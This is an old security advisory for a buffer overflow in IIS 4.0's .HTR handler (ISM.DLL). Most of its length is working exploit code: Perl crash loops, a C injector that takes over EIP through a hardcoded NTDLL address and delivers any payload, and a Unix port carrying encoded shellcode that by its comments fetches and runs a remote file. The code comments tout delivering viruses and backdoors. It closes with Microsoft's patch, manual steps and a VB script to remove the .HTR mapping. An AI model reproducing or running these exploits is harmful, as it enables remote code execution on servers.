COMMAND
IIS
SYSTEMS AFFECTED
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
PROBLEM
eEye - Digital Security Team found following. They had been
debating how to start out this advisory. How do you explain that
90% or so of the Windows NT web servers on the Internet are open
to a hole that lets an attacker execute arbitrary code on the
remote web server? So the story starts...
Find a buffer overflow that will affect 90% of the Windows NT web
servers on the Internet. Exploit this buffer overflow. There
will be overflows in at least one of the default IIS filtered
extensions (i.e. .ASP, .IDC, .HTR). The way eEye thinks the
exploit will take place is that IIS will pass the full URL to the
DLL that handles the extension. Therefore if the ISAPI DLL does
not do proper bounds checking it will overflow a buffer taking IIS
(inetinfo.exe) with it and allow us to execute arbitrary code on
the remote server.
At the same time of working on their advisory, eEye had been
working on the AI mining logic for Retina's HTTP module. What's
the better test scenario than this? Gave Retina a list of 10 or
so extensions common to IIS and instructed it to find any
possible holes relating to these extensions. After about an hour
Retina found what appeared to be a hole. It displayed that after
sending
GET /[overflow].htr HTTP/1.0
it had crashed the server. Well, let's start up the good ol'
debugger and had Retina hit the server again. The Registers:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
Note: Retina was using "A" (0x41 in hex) for the character to
overflow with. If you're not familiar with buffer overflows a
quick note would be that getting our bytes into any of the
registers is a good sign, and directly into EIP makes it even
easier.
The overflow is in relation to the .HTR extensions. IIS includes
the capability to allow Windows NT users to change their password
via the web directory /iisadmpwd/. This feature is implemented as
a set of .HTR files and the ISAPI extension file ISM.DLL. So
somewhere along the line when the URL is passed through to
ISM.DLL, proper bounds checking is not done and our overflow takes
place. The .HTR/ISM.DLL ISAPI filter is installed by default on
IIS4 servers. Looks like we got our 90% of the Windows NT web
servers part down.
However can we exploit this? Yes. We can definitely exploit this
and eEye had. One nice thing to note is that the exploit has been
crafted in such a way to work on SP4 and SP5 machines, therefore
there is no guessing of offsets and possible accidental crashing
of the remote server.
Related links:
Retina - The Network Security Scanner
http://www.eEye.com/retina/
Retina - Brain File used to uncover the hole
http://www.eEye.com/database/advisories/ad06081999/ad06081999-brain.html
Exploit - How eEte did it and the code.
http://www.eEye.com/database/advisories/ad06081999/ad06081999-exploit.html
Ryan R. Permeh added following code:
#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
{
$obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
print "$cmd\n";$obj->print("$cmd");
$obj->close;
}
However, it may be silly to use Net::Telnet for HTTP, so:
use LWP::Simple;
for ($i = 2500; $i <= 3500; $i++) {
warn "$i\n";
get "http://$ARGV[0]/".('a' x $i).".htr";
}
Greg Hoglund could not resist writing an exploit. He did not had
time to design a really cool payload for this exploit, so he
simply wrote the injection code. However, this is meaningful for
several reasons. Attached is the injection code. The exploit
will deliver any payload of your choosing. Your payload will be
executed. This empowers you to create a "collection" of payloads
that are not dependant upon the injection vector in any way. This
decoupling is important for military needs, where a single
injection vector needs to work, but the "warhead" may be different
depending on the targets characterization. The exploit was fairly
simple to build. In short, he read eEye had overflowed IIS with
something like a ~3000 character URL. Within minutes he caused
IIS to crash with EIP under his control. Heused a special pattern
in the buffer (see code) to make it easy to identify where EIP was
being popped from. The pattern also made it easy to determine
where he was jumping around. Use the tekneek Danielson. So, he
controlled EIP, but he needed to get back to my stack segment, of
course. This is old school, and he really lucked out. Pushed
down two levels on the stack was an address for the buffer. Who
could ask for more. So, Greg found a location in NTDLL.DLL
(0x77F88CF0) that he could return to. It had two pop's followed
by a return. This made his injection vector return to the value
that was stored two layers down on the stack. Bam, he was in my
buffer. So, he landed in a weird place, had to add a near jump
to get to somewhere more useful.. nothing special, and here we are
with about 2K of payload space. If you don't supply any mobile
code to be run, the injection vector will supply some for you.
The default payload in simply a couple of no-ops followed by a
debug breakpoint (interrupt 3)... It's easy to play with if you
want to build your own payloads.. just keep a debugger attached to
inetinfo.exe on the target machine.
// IIS Injector for NT
// written by Greg Hoglund <hoglund@ieway.com>
// http://www.rootkit.com
//
// If you would like to deliver a payload, it must be stored in a binary file.
// This injector decouples the payload from the injection code allowing you to
// create a numnber of different attack payloads. This code could be used, for
// example, by a military that needs to attack IIS servers, and has characterized
// the eligible hosts. The proper attack can be chosen depending on needs. Since
// the payload is so large with this injection vector, many options are available.
// First and foremost, virii can delivered with ease. The payload is also plenty
// large enough to remotely download and install a back door program.
// Considering the monoculture of NT IIS servers out on the 'Net, this represents a
// very serious security problem.
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;
if(argc < 2)
{
fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
"http://www.rootkit.com\nUsage: %s <target" \
"ip> <optional payload file>\n", argv[0]);
exit(0);
}
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(80);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
{
static char theSploit[4096];
// fill pattern
char kick = 'z'; //0x7a
char place = 'A';
// my uber sweet pattern gener@t0r
for(int i=0;i<4096;i+=4)
{
theSploit[i] = kick;
theSploit[i+1] = place;
theSploit[i+2] = place + 1;
theSploit[i+3] = place + 2;
if(++place == 'Y') // beyond 'XYZ'
{
place = 'A';
if(--kick < 'a') kick = 'a';
}
}
_snprintf(theSploit, 5, "get /");
_snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");
// after crash, looks like inetinfo.exe is jumping to the address
// stored @ location 'GHtG' (0x47744847)
// cross reference back to the buffer pattern, looks like we need
// to store our EIP into theSploit[598]
// magic eip into NTDLL.DLL
theSploit[598] = (char)0xF0;
theSploit[599] = (char)0x8C;
theSploit[600] = (char)0xF8;
theSploit[601] = (char)0x77;
// code I want to execute
// will jump foward over the
// embedded eip, taking us
// directly to the payload
theSploit[594] = (char)0x90; //nop
theSploit[595] = (char)0xEB; //jmp
theSploit[596] = (char)0x35; //
theSploit[597] = (char)0x90; //nop
// the payload. This code is executed remotely.
// if no payload is supplied on stdin, then this default
// payload is used. int 3 is the debug interrupt and
// will cause your debugger to "breakpoint" gracefully.
// upon examiniation you will find that you are sitting
// directly in this code-payload.
if(argc < 3)
{
theSploit[650] = (char) 0x90; //nop
theSploit[651] = (char) 0x90; //nop
theSploit[652] = (char) 0x90; //nop
theSploit[653] = (char) 0x90; //nop
theSploit[654] = (char) 0xCC; //int 3
theSploit[655] = (char) 0xCC; //int 3
theSploit[656] = (char) 0xCC; //int 3
theSploit[657] = (char) 0xCC; //int 3
theSploit[658] = (char) 0x90; //nop
theSploit[659] = (char) 0x90; //nop
theSploit[660] = (char) 0x90; //nop
theSploit[661] = (char) 0x90; //nop
}
else
{
// send the user-supplied payload from
// a file. Yes, that's a 2K buffer for
// mobile code. Yes, that's big.
FILE *in_file;
in_file = fopen(argv[2], "rb");
if(in_file)
{
int offset = 650;
while( (!feof(in_file)) && (offset < 3000))
{
theSploit[offset++] = fgetc(in_file);
}
fclose(in_file);
}
}
send(s, theSploit, strlen(theSploit), 0);
}
closesocket(s);
}
}
The teso crew has ported the iis exploit to linux... basically
this program does the same as the windows version (written in
asm) of original exploit. Produced shellcode is identical..
everything should work.. it wasn't tested.
/* iis 4.0 exploit
* by eeye security
*
* ported to unix/C by the teso crew.
*
* shoutouts to #hax and everyone else knowing us...
* you know who you are.
*
* gcc -o tesoiis tesoiis.c -Wall
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);
void net_write (int fd, const char *str, ...);
unsigned long int net_resolve (char *host);
char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */
#define URL_OFFSET 1055
char front[] = "GET /AAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
"\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
"\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
"\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
"\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
"\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
"\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
"\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
"\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
"\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
"\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
"\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
"\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
"\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
"\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
"\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
"\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
"\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
"\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
"\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
"\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
"\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
"\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
"\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
"\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
"\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
"\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
"\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
"\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
"\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
"\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
"\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
"\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
"\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
"\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
"\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
"\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
"\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
"\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
/* stick it in here */
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21"
".htr HTTP/1.0";
void
usage (void)
{
printf ("usage: ./tesoiis host port url\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
/* yadda,yadda.. you can try exploiting our exploit!!
* update: hmm.. is this exploitable? gets EIP touched by exit()?
* gotta check this later...
*/
char host[256], url[256];
int port,sd,t = 0;
int m = 0;
char *cc, *pfft;
struct sockaddr_in cs;
printf ("teso crew IIS exploit.. shellcode by eEye.\n");
printf ("------------------------------------------\n");
if (argc < 4)
usage();
strcpy (host, argv[1]);
strcpy (url, argv[3]);
port = atoi (argv[2]);
if ((port < 1) || (port > 65535))
usage();
cc = url;
pfft = front + URL_OFFSET;
while (*cc) {
if (*cc == '/' && 0 == t) {
memcpy (pfft, stuff, 6);
pfft += 6;
t = 1;
} else {
*pfft = *cc + 0x21;
pfft++;
}
cc++;
m += 1;
}
printf ("Host: %s Port: %d Url: %s\n", host, port, url);
printf ("Connecting... ");
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);
if (sd < 1) {
printf ("failed!\n");
exit (EXIT_FAILURE);
}
printf ("done.. sending shellcode..");
fflush (stdout);
net_write (sd, "%s\n\n", front);
printf ("done.. closing fd!\n");
close (sd);
printf ("%s\n", front);
exit (EXIT_SUCCESS);
}
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
void
net_write (int fd, const char *str, ...)
{
char tmp[8192];
va_list vl;
int i;
va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);
va_end(vl);
send(fd, tmp, i, 0);
return;
}
SOLUTION
Microsoft highly recommends that customers evaluate the degree of
risk that this vulnerability poses to their systems and determine
whether to download and install the patch. The patch can be found
at:
ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/
Microsoft highly recommends that customers disable the script
mapping for .HTR files as follows if not is position to apply
patch:
- From the desktop, start the Internet Service Manager by
clicking Start | Programs | Windows NT 4.0 Option Pack |
Microsoft Internet Information Server | Internet Service
Manager
- Double-click "Internet Information Server"
- Right-click on the computer name and select Properties
- In the Master Properties drop-down box, select "WWW Service"
then click the "Edit" button.
- Click the "Home Directory" tab, then click the
"Configuration" button.
- Highlight the line in the extension mappings that contains
".HTR", then click the "Remove" button.
- Respond "yes" to "Remove selected script mapping?" say yes,
click OK 3 times, close ISM
A patch will be available shortly to eliminate the vulnerability
altogether. For those of you that have too many IIS machines to
yank this off by hand here is some vb code to set your IIS
metabase remotely... VB 5.0 sp3 IIS Resource kit installed --
Metabase editor utility from resource kit needs to be installed.
<<Begin Here>>
'The subs I put in Modules
'handles the App Mappings tab of the application configuration screen
Sub AppMappings(ByRef IIS)
'delete all existing script paths
Call DeleteAllLowerProperties(IIS, "ScriptMaps")
'the only thing changed on scripts maps is htm & html mapped to
asp.dll and removed the ism.dll mapping
newscriptmaps =
Array(".asa,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".html,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".asp,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".cdx,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".cer,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".htm,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
".htw,C:\WINNT\System32\webhits.dll,3;",
".ida,C:\WINNT\System32\idq.dll,3;",
".idc,C:\WINNT\System32\inetsrv\httpodbc.dll,1;",
".idq,C:\WINNT\System32\idq.dll,3;",
".shtm,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
".shtml,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
".stm,C:\WINNT\System32\inetsrv\ssinc.dll,1")
IIS.PutEx 2, "ScriptMaps", newscriptmaps
IIS.SetInfo
End Sub
Sub DeleteAllLowerProperties(ByRef IIS, ByVal PropertyName)
'delete all existing script paths
PathList = IIS.GetDataPaths(PropertyName, 1)
If Err.Number <> 0 Then
For Each Path In PathList
Set objScriptPath = GetObject(Path)
objScriptPath.PutEx 1, PropertyName, True
Next
End If
End Sub
' Start form1 here
Function GetServerArray()
GetServerArray = Array("Websvr1", ...., "WebsvrX")
End Function
Private Sub Form_Load()
ServerArray = GetServerArray()
For Each Server In ServerArray
Set globalW3svc = GetObject("IIS://" & Server & "/W3SVC")
Call AppMappings(globalW3svc)
Next
End Sub